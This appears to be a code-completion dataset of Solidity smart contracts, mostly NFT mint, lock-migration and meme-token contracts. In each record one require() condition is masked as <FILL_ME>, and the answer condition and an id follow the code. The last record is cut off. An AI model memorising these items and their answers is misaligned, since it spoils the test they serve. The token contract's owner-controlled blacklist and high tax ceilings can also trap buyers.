* @notice Mint Function for the Public Free Sale
*
* @param _account Account which will receive the NFTs
* @param _quantity Amount of NFTs the user wants to mint
*/
function freeMint(address _account, uint _quantity) external payable callerIsUser {
require(!isPaused, "Contract is Paused");
require(currentTime() >= saleStartTime , "Free Mint has not started yet");
require(sellingStep == Step.PublicFreeSale, "Free Mint has not started yet");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_FREE_SALE, "Max supply exceeded");
amountNFTperWalletFreeMint[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Mint Function for the public sale
*
* @param _account Account which will receive the NFTs
* @param _quantity Amount of NFTs the user wants to mint
*
*/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
}
/**
* @notice Allows the owner to gifts NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
*
*/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of a NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override returns(string memory){
}
/**
* @notice Allows to set the public sale price
* @param _publicSalePrice The new price of one NFT during the public sale
*/
function SetPublicSalePrice( uint _publicSalePrice) external onlyOwner {
}
/**
* @notice Change the starting time (TimeStamp) of the sale
* @param _saleStartTime The new starting TimeStamp of the sale.
*/
function SetSaleStartTime( uint _saleStartTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
* @param _step The new Step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
* @param _isPaused True or False if you want to Pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the max supply that you can mint
* @param _MaxMint The new maximum of supply you can mint
*/
function setMaxMint(uint _MaxMint) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
* @param _BaseURI is the new base URI of the NFTs
*/
function setBaseURI(string memory _BaseURI) external onlyOwner {
}
/**
* @notice Release the gains on every account
*/
function releaseAll() external {
}
//not allowing receiving ethers outside minting functions
receive() override external payable {
}
}
| amountNFTperWalletFreeMint[msg.sender]+_quantity<=maxPerAddressDuringFreeMint,"You can only get 5 NFTs during the Free Mint" | 244,200 | amountNFTperWalletFreeMint[msg.sender]+_quantity<=maxPerAddressDuringFreeMint |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
// @author Sp4rKz https://twitter.com/Sp4rKz_eth
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract ElvesofEOCERC721A is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
PublicFreeSale,
PublicSale,
SoldOut,
Reveal
}
Step public sellingStep;
uint private constant MAX_SUPPLY = 5000;
uint private constant MAX_GIFT = 100;
uint private constant MAX_FREE_SALE = 1500;
uint private constant MAX_PUBLIC = 3400;
uint private constant MAX_SUPPLY_MINUS_GIFT = MAX_SUPPLY - MAX_GIFT;
uint public publicSalePrice = 0.02 ether;
uint public saleStartTime = 1654977600;
string public baseURI;
mapping(address => uint) amountNFTperWalletFreeMint;
mapping(address => uint) amountNFTperWalletPublicSale;
uint private maxPerAddressDuringFreeMint = 5;
uint private maxPerAddressDuringPublicMint = 5;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x04c1fBda2D05DF46984d1071fB396466E761FF0c,
0x9794Ec77f5d44B3109795aF9aE7465185e3E9571,
0x60629dfe81cD812dF789c0e207F0dB6F3BE5613e,
0x96942BABcE8fa02F9F7e304Dc3c0AB874C0DE781
];
uint[] private _teamShares = [
215,
270,
270,
245
];
//constructor
constructor(string memory _baseURI)
ERC721A("Elves of EOC", "EEOC")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by another contract
*/
modifier callerIsUser() {
}
/**
* @notice Mint Function for the Public Free Sale
*
* @param _account Account which will receive the NFTs
* @param _quantity Amount of NFTs the user wants to mint
*/
function freeMint(address _account, uint _quantity) external payable callerIsUser {
require(!isPaused, "Contract is Paused");
require(currentTime() >= saleStartTime , "Free Mint has not started yet");
require(sellingStep == Step.PublicFreeSale, "Free Mint has not started yet");
require(amountNFTperWalletFreeMint[msg.sender] + _quantity <= maxPerAddressDuringFreeMint, "You can only get 5 NFTs during the Free Mint");
require(<FILL_ME>)
amountNFTperWalletFreeMint[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Mint Function for the public sale
*
* @param _account Account which will receive the NFTs
* @param _quantity Amount of NFTs the user wants to mint
*
*/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
}
/**
* @notice Allows the owner to gifts NFTs
*
* @param _to The address of the receiver
* @param _quantity Amount of NFTs the owner wants to gift
*
*/
function gift(address _to, uint _quantity) external onlyOwner {
}
/**
* @notice Get the token URI of a NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override returns(string memory){
}
/**
* @notice Allows to set the public sale price
* @param _publicSalePrice The new price of one NFT during the public sale
*/
function SetPublicSalePrice( uint _publicSalePrice) external onlyOwner {
}
/**
* @notice Change the starting time (TimeStamp) of the sale
* @param _saleStartTime The new starting TimeStamp of the sale.
*/
function SetSaleStartTime( uint _saleStartTime) external onlyOwner {
}
/**
* @notice Get the current timestamp
* @return the current timestamp
*/
function currentTime() internal view returns(uint) {
}
/**
* @notice Change the step of the sale
* @param _step The new Step of the sale
*/
function setStep(uint _step) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
* @param _isPaused True or False if you want to Pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the max supply that you can mint
* @param _MaxMint The new maximum of supply you can mint
*/
function setMaxMint(uint _MaxMint) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
* @param _BaseURI is the new base URI of the NFTs
*/
function setBaseURI(string memory _BaseURI) external onlyOwner {
}
/**
* @notice Release the gains on every account
*/
function releaseAll() external {
}
//not allowing receiving ethers outside minting functions
receive() override external payable {
}
}
| totalSupply()+_quantity<=MAX_FREE_SALE,"Max supply exceeded" | 244,200 | totalSupply()+_quantity<=MAX_FREE_SALE |
"end date expired" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Context, Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {INFTLocker} from "./interfaces/INFTLocker.sol";
import {ILockMigrator} from "./interfaces/ILockMigrator.sol";
contract LockMigrator is ILockMigrator, Ownable, Pausable, ReentrancyGuard {
bytes32 public merkleRoot;
uint256 public migrationReward = 10 * 1e18;
IERC20 public maha;
IERC20 public scallop;
INFTLocker public mahaxLocker;
uint256 internal constant WEEK = 1 weeks;
mapping(uint256 => bool) public isTokenIdMigrated;
mapping(uint256 => bool) public isTokenIdBanned;
mapping(address => bool) public isAddressBanned;
constructor(
bytes32 _merkleRoot,
IERC20 _maha,
IERC20 _scallop,
INFTLocker _mahaxLocker
) {
}
function setMigrationReward(uint256 reward) external override onlyOwner {
}
function _migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) internal nonReentrant whenNotPaused returns (uint256) {
require(<FILL_ME>)
require(_tokenId != 0, "tokenId is 0");
require(!isTokenIdMigrated[_tokenId], "tokenId already migrated");
require(!isTokenIdBanned[_tokenId], "tokenId banned");
require(!isAddressBanned[_who], "owner banned");
bool _isLockvalid = isLockValid(
_value,
_endDate,
_who,
_tokenId,
_mahaReward,
_scallopReward,
proof
);
require(_isLockvalid, "Migrator: invalid lock");
uint256 _lockDuration = _endDate - block.timestamp;
uint256 newTokenId = mahaxLocker.migrateTokenFor(
_value,
_lockDuration,
_who
);
require(newTokenId > 0, "Migrator: migration failed");
isTokenIdMigrated[_tokenId] = true;
if (_mahaReward > 0) maha.transfer(_who, _mahaReward);
if (_scallopReward > 0) scallop.transfer(_who, _scallopReward);
if (migrationReward > 0) maha.transfer(msg.sender, migrationReward);
return newTokenId;
}
function migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory _proof
) external override returns (uint256) {
}
function migrateLocks(
uint256[] memory _value,
uint256[] memory _endDate,
uint256[] memory _tokenId,
address[] memory _who,
uint256[] memory _mahaReward,
uint256[] memory _scallopReward,
bytes32[][] memory proof
) external {
}
function isLockValid(
uint256 _value,
uint256 _endDate,
address _owner,
uint256 _tokenId,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) public view override returns (bool) {
}
function refund() external onlyOwner {
}
function toggleBanID(uint256 id) external onlyOwner {
}
function togglePause() external onlyOwner {
}
function toggleBanOwner(address _who) external onlyOwner {
}
}
| _endDate>=(block.timestamp+2*WEEK),"end date expired" | 244,228 | _endDate>=(block.timestamp+2*WEEK) |
"tokenId already migrated" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Context, Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {INFTLocker} from "./interfaces/INFTLocker.sol";
import {ILockMigrator} from "./interfaces/ILockMigrator.sol";
contract LockMigrator is ILockMigrator, Ownable, Pausable, ReentrancyGuard {
bytes32 public merkleRoot;
uint256 public migrationReward = 10 * 1e18;
IERC20 public maha;
IERC20 public scallop;
INFTLocker public mahaxLocker;
uint256 internal constant WEEK = 1 weeks;
mapping(uint256 => bool) public isTokenIdMigrated;
mapping(uint256 => bool) public isTokenIdBanned;
mapping(address => bool) public isAddressBanned;
constructor(
bytes32 _merkleRoot,
IERC20 _maha,
IERC20 _scallop,
INFTLocker _mahaxLocker
) {
}
function setMigrationReward(uint256 reward) external override onlyOwner {
}
function _migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) internal nonReentrant whenNotPaused returns (uint256) {
require(_endDate >= (block.timestamp + 2 * WEEK), "end date expired");
require(_tokenId != 0, "tokenId is 0");
require(<FILL_ME>)
require(!isTokenIdBanned[_tokenId], "tokenId banned");
require(!isAddressBanned[_who], "owner banned");
bool _isLockvalid = isLockValid(
_value,
_endDate,
_who,
_tokenId,
_mahaReward,
_scallopReward,
proof
);
require(_isLockvalid, "Migrator: invalid lock");
uint256 _lockDuration = _endDate - block.timestamp;
uint256 newTokenId = mahaxLocker.migrateTokenFor(
_value,
_lockDuration,
_who
);
require(newTokenId > 0, "Migrator: migration failed");
isTokenIdMigrated[_tokenId] = true;
if (_mahaReward > 0) maha.transfer(_who, _mahaReward);
if (_scallopReward > 0) scallop.transfer(_who, _scallopReward);
if (migrationReward > 0) maha.transfer(msg.sender, migrationReward);
return newTokenId;
}
function migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory _proof
) external override returns (uint256) {
}
function migrateLocks(
uint256[] memory _value,
uint256[] memory _endDate,
uint256[] memory _tokenId,
address[] memory _who,
uint256[] memory _mahaReward,
uint256[] memory _scallopReward,
bytes32[][] memory proof
) external {
}
function isLockValid(
uint256 _value,
uint256 _endDate,
address _owner,
uint256 _tokenId,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) public view override returns (bool) {
}
function refund() external onlyOwner {
}
function toggleBanID(uint256 id) external onlyOwner {
}
function togglePause() external onlyOwner {
}
function toggleBanOwner(address _who) external onlyOwner {
}
}
| !isTokenIdMigrated[_tokenId],"tokenId already migrated" | 244,228 | !isTokenIdMigrated[_tokenId] |
"tokenId banned" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Context, Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {INFTLocker} from "./interfaces/INFTLocker.sol";
import {ILockMigrator} from "./interfaces/ILockMigrator.sol";
contract LockMigrator is ILockMigrator, Ownable, Pausable, ReentrancyGuard {
bytes32 public merkleRoot;
uint256 public migrationReward = 10 * 1e18;
IERC20 public maha;
IERC20 public scallop;
INFTLocker public mahaxLocker;
uint256 internal constant WEEK = 1 weeks;
mapping(uint256 => bool) public isTokenIdMigrated;
mapping(uint256 => bool) public isTokenIdBanned;
mapping(address => bool) public isAddressBanned;
constructor(
bytes32 _merkleRoot,
IERC20 _maha,
IERC20 _scallop,
INFTLocker _mahaxLocker
) {
}
function setMigrationReward(uint256 reward) external override onlyOwner {
}
function _migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) internal nonReentrant whenNotPaused returns (uint256) {
require(_endDate >= (block.timestamp + 2 * WEEK), "end date expired");
require(_tokenId != 0, "tokenId is 0");
require(!isTokenIdMigrated[_tokenId], "tokenId already migrated");
require(<FILL_ME>)
require(!isAddressBanned[_who], "owner banned");
bool _isLockvalid = isLockValid(
_value,
_endDate,
_who,
_tokenId,
_mahaReward,
_scallopReward,
proof
);
require(_isLockvalid, "Migrator: invalid lock");
uint256 _lockDuration = _endDate - block.timestamp;
uint256 newTokenId = mahaxLocker.migrateTokenFor(
_value,
_lockDuration,
_who
);
require(newTokenId > 0, "Migrator: migration failed");
isTokenIdMigrated[_tokenId] = true;
if (_mahaReward > 0) maha.transfer(_who, _mahaReward);
if (_scallopReward > 0) scallop.transfer(_who, _scallopReward);
if (migrationReward > 0) maha.transfer(msg.sender, migrationReward);
return newTokenId;
}
function migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory _proof
) external override returns (uint256) {
}
function migrateLocks(
uint256[] memory _value,
uint256[] memory _endDate,
uint256[] memory _tokenId,
address[] memory _who,
uint256[] memory _mahaReward,
uint256[] memory _scallopReward,
bytes32[][] memory proof
) external {
}
function isLockValid(
uint256 _value,
uint256 _endDate,
address _owner,
uint256 _tokenId,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) public view override returns (bool) {
}
function refund() external onlyOwner {
}
function toggleBanID(uint256 id) external onlyOwner {
}
function togglePause() external onlyOwner {
}
function toggleBanOwner(address _who) external onlyOwner {
}
}
| !isTokenIdBanned[_tokenId],"tokenId banned" | 244,228 | !isTokenIdBanned[_tokenId] |
"owner banned" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Context, Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {INFTLocker} from "./interfaces/INFTLocker.sol";
import {ILockMigrator} from "./interfaces/ILockMigrator.sol";
contract LockMigrator is ILockMigrator, Ownable, Pausable, ReentrancyGuard {
bytes32 public merkleRoot;
uint256 public migrationReward = 10 * 1e18;
IERC20 public maha;
IERC20 public scallop;
INFTLocker public mahaxLocker;
uint256 internal constant WEEK = 1 weeks;
mapping(uint256 => bool) public isTokenIdMigrated;
mapping(uint256 => bool) public isTokenIdBanned;
mapping(address => bool) public isAddressBanned;
constructor(
bytes32 _merkleRoot,
IERC20 _maha,
IERC20 _scallop,
INFTLocker _mahaxLocker
) {
}
function setMigrationReward(uint256 reward) external override onlyOwner {
}
function _migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) internal nonReentrant whenNotPaused returns (uint256) {
require(_endDate >= (block.timestamp + 2 * WEEK), "end date expired");
require(_tokenId != 0, "tokenId is 0");
require(!isTokenIdMigrated[_tokenId], "tokenId already migrated");
require(!isTokenIdBanned[_tokenId], "tokenId banned");
require(<FILL_ME>)
bool _isLockvalid = isLockValid(
_value,
_endDate,
_who,
_tokenId,
_mahaReward,
_scallopReward,
proof
);
require(_isLockvalid, "Migrator: invalid lock");
uint256 _lockDuration = _endDate - block.timestamp;
uint256 newTokenId = mahaxLocker.migrateTokenFor(
_value,
_lockDuration,
_who
);
require(newTokenId > 0, "Migrator: migration failed");
isTokenIdMigrated[_tokenId] = true;
if (_mahaReward > 0) maha.transfer(_who, _mahaReward);
if (_scallopReward > 0) scallop.transfer(_who, _scallopReward);
if (migrationReward > 0) maha.transfer(msg.sender, migrationReward);
return newTokenId;
}
function migrateLock(
uint256 _value,
uint256 _endDate,
uint256 _tokenId,
address _who,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory _proof
) external override returns (uint256) {
}
function migrateLocks(
uint256[] memory _value,
uint256[] memory _endDate,
uint256[] memory _tokenId,
address[] memory _who,
uint256[] memory _mahaReward,
uint256[] memory _scallopReward,
bytes32[][] memory proof
) external {
}
function isLockValid(
uint256 _value,
uint256 _endDate,
address _owner,
uint256 _tokenId,
uint256 _mahaReward,
uint256 _scallopReward,
bytes32[] memory proof
) public view override returns (bool) {
}
function refund() external onlyOwner {
}
function toggleBanID(uint256 id) external onlyOwner {
}
function togglePause() external onlyOwner {
}
function toggleBanOwner(address _who) external onlyOwner {
}
}
| !isAddressBanned[_who],"owner banned" | 244,228 | !isAddressBanned[_who] |
"all gone" | // SPDX-License-Identifier: MIT
/*
__ ___ _ _ ___ ___ __ __
/ / / __\| |__ __ _ | |_ / \ / _ \ /\ \ \\ \
/ / / / | '_ \ / _` || __| / /\ / / /_\/ / \/ / \ \
\ \ / /___ | | | || (_| || |_ / /_// / /_\\ / /\ / / /
\_\\____/ |_| |_| \__,_| \__|/___,' \____/ \_\ \/ /_/
by OG-STUDIO
*/
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChatDGN is ERC721, Ownable {
// max supply
uint16 OWNER_MINTS = 64;
uint16 MAX_SUPPLY = 1024;
uint16 immutable OPEN_MINTS = MAX_SUPPLY - OWNER_MINTS;
uint64 public _tokenIds = 0;
uint64 public _ownerMints = 0;
string public uri;
constructor() ERC721("<ChatDGN>","DGN") {
}
function drain() public onlyOwner {
}
//fallback, you never knows if someone wants to tip you ;)
receive() external payable {
}
function setURI(string memory _uri) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function mint() public {
require(<FILL_ME>)
// index starts at 1 (NOT zero based!!!!)
unchecked {_tokenIds++;}
_safeMint(msg.sender, _tokenIds);
}
function ownerMint(uint8 number) public onlyOwner {
}
}
| _tokenIds+OWNER_MINTS<MAX_SUPPLY,"all gone" | 244,523 | _tokenIds+OWNER_MINTS<MAX_SUPPLY |
"maxed out owner" | // SPDX-License-Identifier: MIT
/*
__ ___ _ _ ___ ___ __ __
/ / / __\| |__ __ _ | |_ / \ / _ \ /\ \ \\ \
/ / / / | '_ \ / _` || __| / /\ / / /_\/ / \/ / \ \
\ \ / /___ | | | || (_| || |_ / /_// / /_\\ / /\ / / /
\_\\____/ |_| |_| \__,_| \__|/___,' \____/ \_\ \/ /_/
by OG-STUDIO
*/
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChatDGN is ERC721, Ownable {
// max supply
uint16 OWNER_MINTS = 64;
uint16 MAX_SUPPLY = 1024;
uint16 immutable OPEN_MINTS = MAX_SUPPLY - OWNER_MINTS;
uint64 public _tokenIds = 0;
uint64 public _ownerMints = 0;
string public uri;
constructor() ERC721("<ChatDGN>","DGN") {
}
function drain() public onlyOwner {
}
//fallback, you never knows if someone wants to tip you ;)
receive() external payable {
}
function setURI(string memory _uri) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function mint() public {
}
function ownerMint(uint8 number) public onlyOwner {
require(<FILL_ME>)
unchecked {
_ownerMints = _ownerMints + number;
}
for (uint i=0; i<number; i++) {
// index starts at 1 (NOT zero based!!!!)
unchecked {_tokenIds++;}
_safeMint(msg.sender, _tokenIds);
}
}
}
| _ownerMints+number<=OWNER_MINTS,"maxed out owner" | 244,523 | _ownerMints+number<=OWNER_MINTS |
"Must keep buy taxes below 30%" | /*
Telegram: https://t.me/YamatoInuETH
Twitter: https://twitter.com/YamatoInuETH
Website: https://YamatoInu.info
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
mapping (address => bool) internal authorizations;
constructor () {
}
modifier authorized() {
}
function isAuthorized(address adr) private view returns (bool) {
}
function authorize(address adr) private onlyOwner {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address payable adr) external authorized {
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract YAMATOINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _buyMarketingFee = 4;
uint256 private _previousBuyMarketingFee = _buyMarketingFee;
uint256 private _buyLiquidityFee = 1;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyDevFee = 1;
uint256 private _previousBuyDevFee = _buyDevFee;
uint256 private _sellMarketingFee = 4;
uint256 private _previousSellMarketingFee = _sellMarketingFee;
uint256 private _sellLiquidityFee = 1;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellDevFee = 1;
uint256 private _previousSellDevFee = _sellDevFee;
uint256 private tokensFordev;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
address payable private _DevWallet;
address payable private _MarketingWallet;
address payable private _liquidityWallet;
string private constant _name = "YAMATO INU";
string private constant _symbol = "$YAMATO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private tradingActiveBlock = 0; // 0 means trading is not active
uint256 private blocksToBlacklist = 2;
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private swapTokensAtAmount = 0;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxSellAmountUpdated(uint _maxSellAmount);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function setSwapEnabled(bool onoff) external onlyOwner(){
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
}
function setMarketingWallet(address MarketingWallet) public onlyOwner() {
}
function setDevWallet(address DevWallet) public onlyOwner() {
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function manualbuy(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 buyDevFee) external onlyOwner {
require(<FILL_ME>)
_buyMarketingFee = buyMarketingFee;
_buyLiquidityFee = buyLiquidityFee;
_buyDevFee = buyDevFee;
}
function manualsell(uint256 sellMarketingFee, uint256 sellLiquidityFee, uint256 sellDevFee) external onlyOwner {
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function delBot(address notbot) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
receive() external payable {}
function manualswap() public authorized() {
}
function manualsend() public authorized() {
}
function withdrawStuckETH() external authorized {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
}
| buyMarketingFee+buyLiquidityFee+buyDevFee<=30,"Must keep buy taxes below 30%" | 244,631 | buyMarketingFee+buyLiquidityFee+buyDevFee<=30 |
"Must keep sell taxes below 60%" | /*
Telegram: https://t.me/YamatoInuETH
Twitter: https://twitter.com/YamatoInuETH
Website: https://YamatoInu.info
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
mapping (address => bool) internal authorizations;
constructor () {
}
modifier authorized() {
}
function isAuthorized(address adr) private view returns (bool) {
}
function authorize(address adr) private onlyOwner {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address payable adr) external authorized {
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
